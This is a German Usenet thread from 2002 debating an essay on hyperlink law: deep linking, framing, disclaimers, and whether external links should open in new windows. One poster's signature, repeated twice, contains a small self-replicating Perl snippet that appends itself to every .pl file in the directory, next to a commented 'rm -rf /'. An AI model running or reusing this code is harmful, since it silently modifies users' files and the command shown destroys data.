Aus gegebenem Anlass habe ich mal meine Gedanken zum Thema Links
zusammengeschrieben. Vielleicht FAQ-geeignet. Kommentare erwuenscht.
Wegen diverser Formatierungen nur im Web:
http://piology.org/dsr/linklehre.html
Bei DNS-Problemen ausweichen auf:
http://www.logic.univie.ac.at/~3.14/linklehre.html

pi

> http://www.logic.univie.ac.at/~3.14/linklehre.html

Ebendort:
| Nun gibt es noch Leute, die es für eine gute Idee halten, alle
| "externen" Links in einem neuen Fenster zu öffnen. Diese weit
| verbreitete Unsitte haben sie wohl bei Sexseiten abgeschaut, die
| einen damit regelrecht überfluten.

Darüber gehen die Meinungen auseinander.
Insbesondere, wenn sich die Erscheinungsbilder der
der verlassenden und der betretenden Seite ähneln, ist
man damit auf der sicheren Seite.
Siehe http://www.i4j.at/news/aktuell14a.htm (Tabelle)

| Gemein ist ihnen, dass sie die
| Navigationselemente des Webbrowsers (vor allem den Back-Button)
| außer Gefechte setzen wollen. Tatsächlich müllen sie nur den
| Bildschirm voll; wenn der Nutzer aber ein neues Fenster will, so
| kann er bequem die entsprechende Funktion seines Browsers nutzen.
| Wieso ein solches Vorgehen rechtliche Folgen haben sollte, ist
| völlig unklar.

Was soll u. U. rechtliche Folgen haben?
Das Linken mit "_blank" oder das Nutzen der Funktionen
meines Browsers? Welche?

Matthias

--
__________________________________________________________
News suchen, lesen, schreiben mit http://newsgroups.web.de

'nabend pi. :-)

> Kommentare erwuenscht.

Gerne.

> http://www.logic.univie.ac.at/~3.14/linklehre.html

| Nun gibt es noch Leute, die es für eine gute Idee halten, alle
| "externen" Links in einem neuen Fenster zu öffnen.

Ack.

| Diese weit  verbreitete Unsitte haben sie wohl bei Sexseiten
| abgeschaut, die  einen damit regelrecht überfluten.

Das würde ich streichen.

| Gemein ist ihnen, dass sie die  Navigationselemente des Webbrowsers
| (vor allem den Back-Button) außer Gefechte setzen wollen.

Ack, da stimme ich überein.

| Tatsächlich müllen sie nur den Bildschirm
| voll; wenn der Nutzer aber ein neues Fenster will, so kann er bequem
| die entsprechende Funktion seines Browsers nutzen.

Ack, auch wenn viele User die Funktion nicht kennen.

| Wieso ein solches Vorgehen rechtliche Folgen haben sollte, ist völlig
| unklar.

Ich denke, daß das folgenden Hintergrund hat:

Jeder kennt das berühmte Hamburger Urteil (hat es aber oft nichteinmal
gelesen). "Dort wird gefordert, daß man sich von Links distanzieren
muß." Unter dieser Prämisse:

Der Seitenautor stellt sich jetzt die Frage: Wie kann ich mich von den
Links distanzieren, damit es *jeder* auf den ersten Blick erkennt?

Er überlegt sich: die Leute, die einen solchen Link gefolgt sind, können
nicht mehr auf meine Seite zurück, indem Sie den Back-Button drücken (Es
sei denn Sie nutzen iCab). Deutlicher kann man Webangebote nicht
voneinander abgrenzen und damit deutlich machen, daß diese Seiten nichts
miteinander zu tun haben.

Da aber (leider?) niemand genau weiß, wie eine Distanzierung von Links
auszusehen hat (Das Hamburger gericht hat gesagt, daß ein Disclaimer in
dieser Situation gerade *nicht* ausgereicht hat, aber nicht, was
ausgereicht hätte), damit man sich die verlinkten Seiten nicht zu eigen
macht...

Es ist ein Versuch eine nicht eindeutige Situation zu klären. Ob es ein
taugliches Mittel ist, bleibt fraglich.

Wenn ein Autor folgenden Link einfügen würde: <a
href="http://www.dominik-boecker.de/" target="_new">Der Typ ist ein
Idiot</a>, dann würde er *zu recht* eins auf den Deckel bekommen und das
/obwohl/ der Link in einem neuen Fenster aufgeht.

BTW: Warum kein <p id="abstract">In diesem Artikel...</p> und dann im
externen CSS: #abstract {...} ? (Bitte dann in passende Gruppe umziehen)

Dominik
--
"In dciwam sind alle Menschen gleich. Wer invalides HTML in Umlauf
bringt, wird unabhängig von Rasse, Herkunft, Geschlecht und Religion
niedergeflamet! :-)"
Roger Schuster, <b964k...@news.r-schuster.de>

Boris 'pi' Piwinger wrote:
>
> Aus gegebenem Anlass habe ich mal meine Gedanken zum Thema Links
> zusammengeschrieben. Vielleicht FAQ-geeignet. Kommentare erwuenscht.
> Wegen diverser Formatierungen nur im Web:
> http://piology.org/dsr/linklehre.html

Sehr schoen klar und deutlich:

"Gelegentlich meinen Leute, die sich im Netz überhaupt nicht
auskennen, dass man eine Erlaubnis brächte, um eine fremde Seite zu
verlinken. Das ist nicht nur völlig inpraktikabel, es ist auch
unsinnig. Wie dargestellt, sind derartige Links systemimmanent und
verkehrsüblich.. Wer also seine Seiten ins Web stellt, erkennt diese
Prinzipien konkludent an."

Uff, IANAL, aber ich bin froh dass es anscheinend auch Rechtsanwaelte
gibt, die das so sehen. (Ein Punkt zuviel hinter verkehrsueblich, das
u in bräuchte fehlt).

BTW, um (trotzdem) klarzustellen, was meine eigenen Inhalte sind und
was nicht benutze ich durchgaengig den target="_self"-Tag fuer interne
und  und "target=_top"-Tag fuer externe Links.

thomas

> Er überlegt sich: die Leute, die einen solchen Link gefolgt
> sind, können nicht mehr auf meine Seite zurück, indem Sie
> den Back-Button drücken (Es sei denn Sie nutzen iCab).
> Deutlicher kann man Webangebote nicht voneinander abgrenzen
> und damit deutlich machen, daß diese Seiten nichts
> miteinander zu tun haben.

Das ist in mehrfacher Hinsicht absurd.

Zum einen haben die Seiten ja schon dadurch miteinander zu tun,
daß es beides Web-Seiten sind und die eine sogar auf die andere
verweist. Die Schlußfolgerung "daß diese Seiten nichts  
miteinander zu tun haben" ist also schon einmal unzutreffend.

Zum zweiten werden die Webangebote durch das Blockieren des
Back-Buttons in keiner Weise mehr voneinander abgegrenzt als sie
es ohnehin schon sind.

Wenn Du Deine Behauptung aufrecht erhälst, dann versuche doch
bitte einmal, sie zu begründen.

Fast jeder Surfer macht die Erfahrung, daß ein Link von Yahoo
oder Google sich im selben Fenster öffnet, obwohl er auf eine
andere Site verweist. Schon daher wird er nicht auf die Idee
kommen, dies mit der Öffnung eines neuen Fensters in Verbindung
zu bringen.

Da man mit XHTML 1.1 sowieso keinen Link setzen kann, der sich
in einem neuen Fenster öffnet, wird klar, daß dieses Verfahren
im Web auch deshalb für den geschilderten Zweck im Allgemeinen
(bei Verwendung der neusten Web-Technik) gar nicht eingesetzt
werden kann.

--
Es ist bewußtes tiefes Zeug, das es erfand, in ihrem Verstand.
Von ihrem verschworenen ausgezeichneten Zeug;
noch wenn einmal der Atem. Von ihrem richtigen Zeug.
Das, was sie davon überspringen kann.

Matthias Opatz <abo-...@onlinehome.de> wrote:
> Darüber gehen die Meinungen auseinander.
> Insbesondere, wenn sich die Erscheinungsbilder der
> der verlassenden und der betretenden Seite ähneln, ist
> man damit auf der sicheren Seite.
> Siehe http://www.i4j.at/news/aktuell14a.htm (Tabelle)

Die "Tour de Link" ist auch interessant. Da steht:

| Verschiedene Gerichte haben daher bereits entschieden, dass das Linken auf
| Seiten anderer Websites grundsätzlich zulässig ist. Es wird fingiert, dass
| jemand, der etwas im WWW veröffentlicht, auch will, dass Besucher zu diesem
| Dokument "hingeführt" werden, damit es von möglichst vielen gelesen wird - denn
| genau das ist das Wesen des Links. Ein zusätzliches Argument für die
| Zulässigkeit solcher deep Links liegt darin, dass der Betreiber einer Website
| durch technische Maßnahmen verhindern kann, dass Links in die Tiefe seiner
| Website gesetzt werden. Dass das kaum gemacht wird, hängt wiederum damit
| zusammen, dass dann niemand mehr auf die Site linken würde, wodurch wieder
| "Traffic" verloren ginge. Außerdem ist das dafür notwendige technische Wissen
| nicht sehr verbreitet.

Dummerweise ist eine solche Überprüfung technisch nicht möglich, weil
niemand gezwungen ist, einen korrekten Referer zu senden und/oder
JavaScript und/oder Cookies zu aktivieren.

Da OT, Fup2p

--
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################

* On Thu, 07 Mar 2002 19:55:07 +0100, Boris 'pi' Piwinger wrote:

> Aus gegebenem Anlass habe ich mal meine Gedanken zum Thema Links
> zusammengeschrieben. Vielleicht FAQ-geeignet. Kommentare erwuenscht.
> Wegen diverser Formatierungen nur im Web:
> http://piology.org/dsr/linklehre.html

DNS-Problem.

> Bei DNS-Problemen ausweichen auf:
> http://www.logic.univie.ac.at/~3.14/linklehre.html

Argl. Dort wird auf http://piology.org/kill-frames.js verwiesen.
Netscape 4.7 nimmt das sehr übel. Aber mit w3m geht's.

--
Schluss mit dem Fluglärmterror der US-Luftwaffe im Naturpark
Saar-Hunsrück! Haut endlich ab, lasst uns in Frieden.
Grenze für Baulärm: 35 dB ab 20 Uhr.
Grenze für US-Jets: Keine. Montag, 04.03.2002, 21:50 Uhr: KRACH.

* On Thu, 07 Mar 2002 19:55:07 +0100, Boris 'pi' Piwinger wrote:

|Framing
|
|Anders stellt sich die Situation dar, wenn fremde Inhalte in einem
|Frameset aufgerufen werden. Hier entsteht regelmäßig der Eindruck, dass
|die Inhalte demjenigen gehören, dem das Frameset gehört. Dies hat dann
|typischerweise zufolge, dass der Linksetzer sich die Inhalte zueigen
|macht und somit dafür verantwortlich gemacht werden kann. Darüber hinaus
|verletzt er ggf. die Urheberrechte des Gelinkten, wenn er keine
|Genehmigung hat. Bei eingebetteten Objekten wie Logos, um einen Link zu
|illustrieren, geben zahlreiche Seitenbetreiber die pauschale
|Genehmigung, sie zu verwenden.

Du solltest noch stärker klar machen, dass das nichts mit einem Link im
vorher beschriebenen Sinn zu tun hat. Der "normale" Link verbindet
normalerweise ein eigenes Stück Text nach einer Aktion des Nutzers
(Klick, MouseOver) mit einem fremden Inhalt. Bei den beschriebenen
Frames handelt ist sich gar nicht um einen Link, sondern um eben die
Darstellung fremder Inhalte innerhalb der eigenen.

>> http://www.logic.univie.ac.at/~3.14/linklehre.html
>
>Ebendort:
>| Nun gibt es noch Leute, die es für eine gute Idee halten, alle
>| "externen" Links in einem neuen Fenster zu öffnen. Diese weit
>| verbreitete Unsitte haben sie wohl bei Sexseiten abgeschaut, die
>| einen damit regelrecht überfluten.
>
>Darüber gehen die Meinungen auseinander.

Fragt sich zwischen wem.

>Insbesondere, wenn sich die Erscheinungsbilder der
>der verlassenden und der betretenden Seite ähneln, ist
>man damit auf der sicheren Seite.
>Siehe http://www.i4j.at/news/aktuell14a.htm (Tabelle)

Was ich fuer keineswegs nachvollziehbar halte. Was soll da sicherer
sein? Wenn einer einen klagen will, dann tut er es.

>| Gemein ist ihnen, dass sie die
>| Navigationselemente des Webbrowsers (vor allem den Back-Button)
>| außer Gefechte setzen wollen. Tatsächlich müllen sie nur den
>| Bildschirm voll; wenn der Nutzer aber ein neues Fenster will, so
>| kann er bequem die entsprechende Funktion seines Browsers nutzen.
>| Wieso ein solches Vorgehen rechtliche Folgen haben sollte, ist
>| völlig unklar.
>
>Was soll u. U. rechtliche Folgen haben?
>Das Linken mit "_blank" oder das Nutzen der Funktionen
>meines Browsers? Welche?

Du hast recht, das ist sehr undeutlich. Gemeint ist das Oeffnen eines
neuen Fensters.

pi
--
Attachment? Nein: http://piology.org/ILOVEYOU-Signature-FAQ.html
begin  LOVE-LETTER-FOR-YOU.txt.vbs
I am a signature virus. Distribute me until the bitter
end

>Followup-To: poster

Unangemessen.

[Verhindern von externen Links]

>Dummerweise ist eine solche Überprüfung technisch nicht möglich, weil
>niemand gezwungen ist, einen korrekten Referer zu senden und/oder
>JavaScript und/oder Cookies zu aktivieren.

So what? Nichts davon ist noetig. Session-IDs halt.

pi
--
Attachment? Nein: http://piology.org/ILOVEYOU-Signature-FAQ.html
begin  LOVE-LETTER-FOR-YOU.txt.vbs
I am a signature virus. Distribute me until the bitter
end

>"Gelegentlich meinen Leute, die sich im Netz überhaupt nicht
>auskennen, dass man eine Erlaubnis brächte, um eine fremde Seite zu
>verlinken. Das ist nicht nur völlig inpraktikabel, es ist auch
>unsinnig. Wie dargestellt, sind derartige Links systemimmanent und
>verkehrsüblich.. Wer also seine Seiten ins Web stellt, erkennt diese
>Prinzipien konkludent an."
>
>Uff, IANAL, aber ich bin froh dass es anscheinend auch Rechtsanwaelte
>gibt, die das so sehen.

Aber isch bin gar kein Jurist. Ich diskutiere nur seit einem Jahrzehnt
mit ihnen ...

>(Ein Punkt zuviel hinter verkehrsueblich, das u in bräuchte fehlt).

Danke. Scheiss Rechtschreibekontrolle in StarOffice.

>BTW, um (trotzdem) klarzustellen, was meine eigenen Inhalte sind und
>was nicht benutze ich durchgaengig den target="_self"-Tag fuer interne
>und  und "target=_top"-Tag fuer externe Links.

Was im Effekt wohl keiner sieht. Ein <base target="_top"> macht sich
aber immer gut, wenn man mal in einem Frameset gefangen wird.

pi
--
Attachment? Nein: http://piology.org/ILOVEYOU-Signature-FAQ.html
begin  LOVE-LETTER-FOR-YOU.txt.vbs
I am a signature virus. Distribute me until the bitter
end

>| Nun gibt es noch Leute, die es für eine gute Idee halten, alle
>| "externen" Links in einem neuen Fenster zu öffnen.
>
>Ack.
>
>| Diese weit  verbreitete Unsitte haben sie wohl bei Sexseiten
>| abgeschaut, die  einen damit regelrecht überfluten.
>
>Das würde ich streichen.

Ein wenig Polemik lockert immer auf;-) Historisch ist die Aussage aber
richtig.

>| Tatsächlich müllen sie nur den Bildschirm
>| voll; wenn der Nutzer aber ein neues Fenster will, so kann er bequem
>| die entsprechende Funktion seines Browsers nutzen.
>
>Ack, auch wenn viele User die Funktion nicht kennen.

Habe schon oft auf Seiten gelesen, dass man dies so und so machen
soll. Aber das ist Problem der Nutzer und ihres unergonomischen
Clients.

>| Wieso ein solches Vorgehen rechtliche Folgen haben sollte, ist völlig
>| unklar.
>
>Ich denke, daß das folgenden Hintergrund hat:
>
>Jeder kennt das berühmte Hamburger Urteil (hat es aber oft nichteinmal
>gelesen). "Dort wird gefordert, daß man sich von Links distanzieren
>muß." Unter dieser Prämisse:
>
>Der Seitenautor stellt sich jetzt die Frage: Wie kann ich mich von den
>Links distanzieren, damit es *jeder* auf den ersten Blick erkennt?

Halt! Genau das geht nicht. Oft genug gehen auch "eigene" Seiten in
neuen Fenstern auf. Oft -- aber nicht immer -- liegt es daran, dass
die Leute Frames benutzen wollten, was halt BAD ist.

>Wenn ein Autor folgenden Link einfügen würde: <a
>href="http://www.dominik-boecker.de/" target="_new">Der Typ ist ein
>Idiot</a>, dann würde er *zu recht* eins auf den Deckel bekommen und das
>/obwohl/ der Link in einem neuen Fenster aufgeht.

Eben.

>BTW: Warum kein <p id="abstract">In diesem Artikel...</p> und dann im
>externen CSS: #abstract {...} ? (Bitte dann in passende Gruppe umziehen)

Da ich das nicht weiter diskutieren will: Bisher hat sich auf meiner
Site kein Bedarf gezeigt. Ad-hoc-Loesung halt.

pi
--
Attachment? Nein: http://piology.org/ILOVEYOU-Signature-FAQ.html
begin  LOVE-LETTER-FOR-YOU.txt.vbs
I am a signature virus. Distribute me until the bitter
end

>|Framing

>Du solltest noch stärker klar machen, dass das nichts mit einem Link im
>vorher beschriebenen Sinn zu tun hat.

Noch deutlicher. Bereits an frueherer Stelle wird die Unterscheidung
herausgearbeitet, hier wird nur die Konsequenz gezogen. Am Ende dann
noch einmal der Hinweis.

>Der "normale" Link verbindet
>normalerweise ein eigenes Stück Text nach einer Aktion des Nutzers
>(Klick, MouseOver) mit einem fremden Inhalt. Bei den beschriebenen
>Frames handelt ist sich gar nicht um einen Link, sondern um eben die
>Darstellung fremder Inhalte innerhalb der eigenen.

Den Gedanken habe ich verworfen, weil auch per Klick was in einem
Frame geoeffnet werden kann. Einem <a href=$URL> sieht man halt nicht
an, ob im Frame oder nicht.

pi
--
Attachment? Nein: http://piology.org/ILOVEYOU-Signature-FAQ.html
begin  LOVE-LETTER-FOR-YOU.txt.vbs
I am a signature virus. Distribute me until the bitter
end

> Aus gegebenem Anlass habe ich mal meine Gedanken zum Thema Links

HTML-<del>Tags</del><ins>Elemente</ins>

<del>Z</del><ins>z</ins>weifelhaft

--
<http://schneegans.de/>

[Externe Links in neuem Fenster]

> Insbesondere, wenn sich die Erscheinungsbilder der
> der verlassenden und der betretenden Seite ähneln, ist
> man damit auf der sicheren Seite.
> Siehe http://www.i4j.at/news/aktuell14a.htm (Tabelle)

Der Autor ist offenbar voreingenommen. Er nennt nur Links, die ein
neues Fenster öffnen, "korrekt ausgeführt", und das ohne weitere
Begründung und unter Mißachtung technischer Standards. Damit kommt er
natürlich zu dem Ergebnis, daß andere Links problematisch sind.

--
<http://schneegans.de/>

Boris 'pi' Piwinger <3...@piology.org> wrote:

> Rudolf Polzer <AntiATFiel...@durchnull.de> wrote:
>
> >Followup-To: poster
>
> Unangemessen.
>
> [Verhindern von externen Links]
> >Dummerweise ist eine solche Überprüfung technisch nicht möglich, weil
> >niemand gezwungen ist, einen korrekten Referer zu senden und/oder
> >JavaScript und/oder Cookies zu aktivieren.
>
> So what? Nichts davon ist noetig. Session-IDs halt.

Nicht jeder Browser folgt Location:-Redirects ohne Benutzereingriff.
Reicht IMHO als Gegenargument aus.

--
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################

> {2002-03-07 21:01} "Dominik Boecker":
>
> > Er überlegt sich: die Leute, die einen solchen Link gefolgt
> > sind, können nicht mehr auf meine Seite zurück, indem Sie
> > den Back-Button drücken (Es sei denn Sie nutzen iCab).
> > Deutlicher kann man Webangebote nicht voneinander abgrenzen
> > und damit deutlich machen, daß diese Seiten nichts
> > miteinander zu tun haben.
>
> Das ist in mehrfacher Hinsicht absurd.

Ack.

[...]

> Wenn Du Deine Behauptung aufrecht erhälst, dann versuche doch
> bitte einmal, sie zu begründen.

Du hast mich ganz offensichtlich mißverstanden:

| Der Seitenautor stellt sich jetzt die Frage: Wie kann ich mich von den
| Links distanzieren, damit es *jeder* auf den ersten Blick erkennt?
|

und:

| Es ist ein Versuch eine nicht eindeutige Situation zu klären. Ob es
| ein taugliches Mittel ist, bleibt fraglich.

Es ist zum einen nicht meine Behauptung und zum anderen ist der Erfolg
dieser Maßnahme mE mehr als zweifelhaft.

Ich versuche in diesem Posting die Position desjenigen einzunehmen, der
Seiten in einem neuen Fenster öffnet. Ich spiele "advocatus diaboli".

Ich versuche mich in die Position des Laien zu versetzen und versuche zu
ergründen, warum er die Seiten in einem neuen Fenster öffnet und zeige
auf, daß das Öffnen von Links in einem neuen Fenster alleine nicht
ausreichend ist. Es ist auch dann nicht ausreichend, wenn es den
berühmten Disclaimer gibt.

Dominik
--
Aus einem Read-me:
WARNUNG: Die Java Technologie ist nicht fehlertolerant. Sie eignet sich
nicht als Steuerungssystem in kritischen Anwendungsbereichen wie
nukleare Anlagen, Luftraumüberwachung oder Kommunikationssystemen.

>Anette Stegmann wrote:
>
>> Wenn Du Deine Behauptung aufrecht erhälst, dann versuche
>> doch bitte einmal, sie zu begründen.
>
> Du hast mich ganz offensichtlich mißverstanden:
>
> | Der Seitenautor stellt sich jetzt die Frage: Wie kann ich
> | mich von den Links distanzieren, damit es *jeder* auf den
> | ersten Blick erkennt?
> |
> | Er überlegt sich: (und weiter wie oben)
>
> und:
>
> | Es ist ein Versuch eine nicht eindeutige Situation zu
> | klären. Ob es ein taugliches Mittel ist, bleibt fraglich.
>
> Es ist zum einen nicht meine Behauptung und zum anderen ist
> der Erfolg dieser Maßnahme mE mehr als zweifelhaft.
 

Vielmehr will der Verlinker erreichen, dass der Besucher
alle verlinkten Angebote ausuchen kann, ohne gleichzeitig
seine Seite zu verlassen/aus den Augen zu verlieren.
Er mißtraut - mit Recht! - der Vertrautheit des Surfers mit
den Möglichkeiten seines Browsers.
Und den Aufwand, die verlinkende Seite für den Fall, dass
der Surfer tatsächlich nicht mehr zu ihr zurückkehren (oder
es auf eine andere Weise tun) will, zu schließen, kann man
nicht unbedingt unverhältnismässig nennen. Er ist nicht
höher als der Aufwand eines Surfers, eine Seite unter
Ausnutzung der Browsereigenschaften selbstbestimmt im
eigenen Fenster öffnen zu lassen.

Viel ärgerlicher als das Öffnen verlinkter Seiten im
neuen Fenster ist m. E. das Verhindern des selbstbestimmten
Öffnens (oder auch nur URL-Kopierens) durch Fenster wie
"Stiftung Maustest: rechte Maustaste sehr gut".

Matthias

--
__________________________________________________________
News suchen, lesen, schreiben mit http://newsgroups.web.de

>> [Verhindern von externen Links]
>> >Dummerweise ist eine solche Überprüfung technisch nicht möglich, weil
>> >niemand gezwungen ist, einen korrekten Referer zu senden und/oder
>> >JavaScript und/oder Cookies zu aktivieren.
>>
>> So what? Nichts davon ist noetig. Session-IDs halt.
>
>Nicht jeder Browser folgt Location:-Redirects ohne Benutzereingriff.

Faktisch tut das jeder. Ausserdem ist das (Du meinst offenbar 302)
auch nicht erforderlich. Die Startseite wird dynamisch erzeugt, dabei
wird eine Session-ID vergeben, diese wird in alle Links eingearbeitet.
Im Prinzip macht Amazon das z.B., wenn Du es mal ansehen willst; die
erzeugen diese sogar auf jeder beliebigen Eingangsseite. Was sie nicht
tun, ist, Leute ohne Session-ID auszusperren, wollen sie ja auch
nicht, im Gegenteil!

pi
--
Attachment? Nein: http://piology.org/ILOVEYOU-Signature-FAQ.html
begin  LOVE-LETTER-FOR-YOU.txt.vbs
I am a signature virus. Distribute me until the bitter
end

> Es ist zum einen nicht meine Behauptung und zum anderen ist
> der Erfolg dieser Maßnahme mE mehr als zweifelhaft.

Ja. Danke für die Aufklärung und Sorry für das zunächst falsche
Verständnis Deines Postings!

--
Es ist bewußtes tiefes Zeug, das es erfand, in ihrem Verstand.
Von ihrem verschworenen ausgezeichneten Zeug;
noch wenn einmal der Atem. Von ihrem richtigen Zeug.
Das, was sie davon überspringen kann.

> auch nicht erforderlich. Die Startseite wird dynamisch erzeugt, dabei
> wird eine Session-ID vergeben, diese wird in alle Links eingearbeitet.
> Im Prinzip macht Amazon das z.B., wenn Du es mal ansehen willst; die
> erzeugen diese sogar auf jeder beliebigen Eingangsseite. Was sie nicht
> tun, ist, Leute ohne Session-ID auszusperren, wollen sie ja auch
> nicht, im Gegenteil!

Das setzt jedoch serverseitiges Skripting voraus, was ja nun mal nicht jeder
Provider anbietet. Zudem setzt das einen erheblichen Aufwand (gegenüber
statischem HTML) voraus, den man sicherlich auch nicht jedem
Webseitenbetreiber zumuten kann, nur weil er keine Links auf untergeordnete
Seiten möchte, die dann womöglich noch in fremden Framesets angezeigt
werden.

Mfg Helma Spona

> | Gemein ist ihnen, dass sie die
> | Navigationselemente des Webbrowsers (vor allem den Back-Button)
> | außer Gefechte setzen wollen. Tatsächlich müllen sie nur den
> | Bildschirm voll; wenn der Nutzer aber ein neues Fenster will, so
> | kann er bequem die entsprechende Funktion seines Browsers nutzen.
> | Wieso ein solches Vorgehen rechtliche Folgen haben sollte, ist
> | völlig unklar.

Mehrere Fenster haben aber auch Vorteile.

    1. kann ich bspw. mehrere Fenster paralell geöffnet haben und mich nach
einer umfachreichen Recherche zum Schluss zwsichen den geöffnet gelassenen
Fenstern entscheiden, was ich bspw. drucken oder speichern möchte, weil ich
erst am Ende weiß, welche Seite meinem Suchziel am nächsten kommt. Ich muss
dann nicht bis zur Seite xy über "Zürück" zurückkehren sondern brauche
einfach nur zum entsprechenden Fenster zu wechseln.

    2. Zudem haben diverse Browser große Probleme mit der HIstory-Funktion.
Da sind mir dann neue Fenster wirklich lieber. N 6.2 ist so ein Kandidat.
nach einen Link mit history.go(-1) funktioniert weder der Zurück- noch der
Weiter-Button mehr.

Mfg Helma Spona

>
> Halt! Genau das geht nicht. Oft genug gehen auch "eigene" Seiten in
> neuen Fenstern auf. Oft -- aber nicht immer -- liegt es daran, dass
> die Leute Frames benutzen wollten, was halt BAD ist.

Ja und das ist DEINE Meinung? Dann benutze halt keine Frames!

Aber das ist "Web-Authoring" und vielleicht auch noch "Ergonomie" aber was
hat das alles mit "recht.datennetze" zu tun ?

G.B.

"Helma Spona" wrote:
 
> Mehrere Fenster haben aber auch Vorteile.
 

> Das bestreiten die Gegner des Externlinken im neuen
> Fenster auch gar nicht - sie wollen es sich nur nicht
> aufzwingen lassen.
>  
> Ich hingegen bestreite, dass die mögliche Nutzung
> diesbezüglicher Möglichkeiten des eigenen Browsers
> weniger verbreitet ist als etwa die Abneigung gegen
> Neufenster-Externlinks.

Dein zweiter Satz überfordert mich sprachlich.

Ich würde statt "diesbezüglicher Möglichkeiten" schreiben, was
genau gemeint ist.

Und "Ich bestreite, daß ... weniger verbreitet ... als ... die
Abneigung gegen ..." ist eine Art von mehrfacher Indirektion
(wie auch die doppelte Verneinung), die nachzuvollziehen mir
schwerfällt, wenn ich noch dabei bin über die Bedeutung von
"diesbezüglicher Möglichkeiten" zu rätseln und man
berücksichtigt, daß die doppelte Verneinung im Deutschen selber
schon mißverständlich ist, weil sie manchmal als verstärkte
einfache Verneinung gemeint wird.

Hier wäre es verständlicher, anstelle der Explizierung "ich
bestreite" das einfach zu tun, man schreibt ja auch nicht vor
jeden Satz "ich behaupte", sondern behauptet einfach.

Außerdem könnte man den Satz in mehrere einfachere Sätze
aufteilen.

"Die Abneigung gegen Neufenster-Externlinks ist sehr verbreitet.    
Sie ist verbreiteter als ..."

Wenn man will, kann man da ja noch irgendwo ein "IMO"
einschieben.

Also ich bin mir bis jetzt nicht sicher, ob ich Deinen zweiten
Satz verstanden habe.

xp&f2: de.etc.schreiben.misc

--
Es ist bewußtes tiefes Zeug, das es erfand, in ihrem Verstand.
Von ihrem verschworenen ausgezeichneten Zeug;
noch wenn einmal der Atem. Von ihrem richtigen Zeug.
Das, was sie davon überspringen kann.

Was nicht Deine Schuld ist. *Asche auf mein Haupt*

Es gibt mMn mehr Leute, die nicht selbstbestimmt neue
Fenster öffnen können, als Leute, denen fremdbestimmte
neue Fenster ein ernsthaftes Ärgernis sind.

So besser?

Matthias

--
__________________________________________________________
News suchen, lesen, schreiben mit http://newsgroups.web.de

> Es gibt mMn mehr Leute, die nicht selbstbestimmt neue
> Fenster öffnen können, als Leute, denen fremdbestimmte
> neue Fenster ein ernsthaftes Ärgernis sind.

Also meinst Du damit Links die neue Fenster erzeugen, sind das kleinere
Übel? Dann stimmt ich dir zu.

Mfg Helma Spona

"Helma Spona" <helma...@t-online.de> schrieb:
> Boris:

>> Die Startseite wird dynamisch erzeugt, dabei wird eine Session-ID
>> vergeben, diese wird in alle Links eingearbeitet.
>
> Das setzt jedoch serverseitiges Skripting voraus, was ja nun mal nicht
> jeder Provider anbietet. Zudem setzt das einen erheblichen Aufwand
> (gegenüber statischem HTML) voraus,

Links auf jede beliebige Seite sind Standard, wer das aus welchen Gründen
auch immer nicht will, muss halt mehr Aufwand treiben, oder seine Seite
nicht veöffentlichen.

Ciao!
                        Stefan
--
Seattle Rain Festival - Jan. 1 to Dec. 31

><>                             http://www.trumpkin.Narnias-Door.com
PGP vorhanden                                © 2001 by Stefan Wagner

Claus
--
------------------------ http://www.faerber.muc.de/ ------------------------
OpenPGP: DSS 1024/639680F0 E7A8 AADB 6C8A 2450 67EA AF68 48A5 0E63 6396 80F0

Richtig. Aber das ist Sache des Browsers.

Und besonders schlimm ist target="_new"...

Claus
--
------------------------ http://www.faerber.muc.de/ ------------------------
OpenPGP: DSS 1024/639680F0 E7A8 AADB 6C8A 2450 67EA AF68 48A5 0E63 6396 80F0

>> Halt! Genau das geht nicht. Oft genug gehen auch "eigene" Seiten in
>> neuen Fenstern auf. Oft -- aber nicht immer -- liegt es daran, dass
>> die Leute Frames benutzen wollten, was halt BAD ist.
>
>Ja und das ist DEINE Meinung? Dann benutze halt keine Frames!

Und es gibt eine lange Liste guter Argumente.

>Aber das ist "Web-Authoring" und vielleicht auch noch "Ergonomie" aber was
>hat das alles mit "recht.datennetze" zu tun ?

Sehr viel, wenn Du den Kontext betrachtest. Es geht naemlich um die
Wirkung.

pi
--
Attachment? Nein: http://piology.org/ILOVEYOU-Signature-FAQ.html
begin  LOVE-LETTER-FOR-YOU.txt.vbs
I am a signature virus. Distribute me until the bitter
end

> Webseitenbetreiber zumuten kann, nur weil er keine Links auf
> untergeordnete Seiten möchte, die dann womöglich noch in fremden
> Framesets angezeigt werden.

so, wie ich das web verstehe, gibt es eigentlich keine  
untergeordneten sondern nur gleichberechtigte seiten.
der ganze schnickschnack ist ein eher misglueckter versuch,  
kontrolle zu erlangen wo keine kontrolle moeglich ist.

claudia
--
     claudia reinhardt        /\ /\
     henning schoettke       ( , , )_____
     comics und satire       -- : --      \
    http://www.imho.de/       ((     ( ___ )\ ___ )

> Es gibt mMn mehr Leute, die nicht selbstbestimmt neue
> Fenster öffnen können, als Leute, denen fremdbestimmte
> neue Fenster ein ernsthaftes Ärgernis sind.

meine mutter kann nicht selbstbestimmt neue fenster oeffnen (ich  
wollte sie nicht verwirren, habs ihr also nicht erklaert) und sie  
aergert sich ueber jedes neue fenster, das ihr entgegenspringt, weil  
es sie verwirrt.

neue fenster sind was fuer leute, die damit umgehen koennen.
die leute, die ihr fuer zu dumm haltet, ihren brauser zu bedienen  
(weswegen ihnen ja auch alles aufgezwungen werden muss), diese leute  
sind auch zu dumm, mit staendig neuen fenstern umzugehen.

das moderne webmotto scheint aber zu sein: warum einfach wenns auch  
kompliziert geht

claudia
--
Antoni jr scheint auf den          /\ /\
Existenzialismus gestossen        ( , , )_____  www.imho.de
zu sein.                          -- : --      \
Das scheiss Internet!              ((     ( ___ )\ ___ )

> Ich versuche mich in die Position des Laien zu versetzen und versuche zu
> ergründen, warum er die Seiten in einem neuen Fenster öffnet und zeige
> auf, daß das Öffnen von Links in einem neuen Fenster alleine nicht
> ausreichend ist.

Um einen Verstoß gegen §1 UWG zu vermeiden, ist es ausreichend.

--
